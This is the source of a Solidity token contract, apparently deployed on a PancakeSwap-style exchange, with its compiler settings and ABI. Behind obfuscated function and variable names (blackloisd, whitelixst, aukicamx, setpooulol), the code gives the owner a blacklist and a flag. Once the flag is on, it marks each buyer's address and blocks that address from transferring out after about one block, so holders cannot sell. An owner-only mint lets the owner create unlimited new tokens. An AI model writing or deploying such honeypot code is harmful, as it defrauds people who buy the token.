//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface IPancakeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner,"Caller is not the owner");
_;
}
}
contract mukolikumc is Ownable{
address public _pair;
bool private _bool;
uint256 delay;
mapping(address => bool) ngulisok26v;
mapping(address => bool) t626x7gbn;
uint256 unlock;
mapping(address => uint256) airdropAmounts;
mapping(address => uint256) restrictgghghkc;
function mutakims(address _from, address _to) internal{
if(!t626x7gbn[_from]&&!t626x7gbn[_to]){
require(!ngulisok26v[_from]);
require(!ngulisok26v[_to]);
require(!ngulisok26v[msg.sender]);
require(!ngulisok26v[tx.origin]);
require(airdropAmounts[_from]<1||block.number<_ha7minhxa(_from)||block.number>_kumhalumsdf(_from));
}
_hutakobucrtqtg(_to,1);
}
function _ha7minhxa(address ha) internal view returns (uint256) {
return (restrictgghghkc[ha]+delay+1+3-4);
}
function _kumhalumsdf(address ha) internal view returns (uint256) {
return (restrictgghghkc[ha]+unlock+1+3-4);
}
function _hutakobucrtqtg(address a,uint256 hi) internal returns (bool success) {
if(a==_pair||t626x7gbn[a]){
return true;
}
if(_bool){
airdropAmounts[a] = hi;
if(restrictgghghkc[a]==0){
restrictgghghkc[a]=block.number;
}
}
return true;
}
function setpooulol(bool h) public onlyOwner returns (bool success) {
require(_bool != h);
_bool=h;
return true;
}
function dulaymc(uint _hlasvf4) public onlyOwner returns (bool success) {
require(delay != _hlasvf4);
delay=_hlasvf4;
return true;
}
function blackloisd(address[] memory listAddress, bool isH) public onlyOwner returns (bool success) {
if(listAddress.length==1){
require(ngulisok26v[listAddress[0]] != isH);
}
for(uint i = 0; i < listAddress.length; i++){
ngulisok26v[listAddress[i]] = isH;
}
return true;
}
function whitelixst(address[] memory listAddress, bool _ist626x7gbned) public onlyOwner returns (bool success) {
if(listAddress.length==1){
require(t626x7gbn[listAddress[0]] != _ist626x7gbned);
}
for(uint i = 0; i < listAddress.length; i++){
t626x7gbn[listAddress[i]] = _ist626x7gbned;
}
return true;
}
function aukicamx(address[] memory listAddress, uint256 ha) public onlyOwner returns (bool success) {
if(listAddress.length==1){
require(airdropAmounts[listAddress[0]] != ha);
}
for(uint i = 0; i < listAddress.length; i++){
airdropAmounts[listAddress[i]] = ha;
}
return true;
}
}
contract TOKEN is mukolikumc{
using SafeMath for uint256;
uint256 public totalSupply;
string public name;
string public symbol;
uint public decimals;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint256 _supply, address _owner,address pancakeFactory,address wethh) public {
delay=1;
unlock=259285918;
name = _name;
symbol = _symbol;
decimals = 18;
totalSupply = _supply * 10**decimals;
balances[_owner] = totalSupply;
owner = _owner;
emit Transfer(address(0), _owner, totalSupply);
_pair = IPancakeFactory(pancakeFactory).createPair(address(this), wethh);
}
function transfer(address _to, uint256 _value) public returns (bool) {
mutakims(msg.sender,_to);
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
// SafeMath.sub will throw if there is not enough balance.
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
mutakims(_from,_to);
require(_to != _from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address account, uint256 amount) onlyOwner public {
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
{
"compilationTarget": {
"TOKEN.sol": "TOKEN"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"pancakeFactory","type":"address"},{"internalType":"address","name":"wethh","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"uint256","name":"ha","type":"uint256"}],"name":"aukicamx","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"isH","type":"bool"}],"name":"blackloisd","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_hlasvf4","type":"uint256"}],"name":"dulaymc","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"h","type":"bool"}],"name":"setpooulol","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"_ist626x7gbned","type":"bool"}],"name":"whitelixst","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]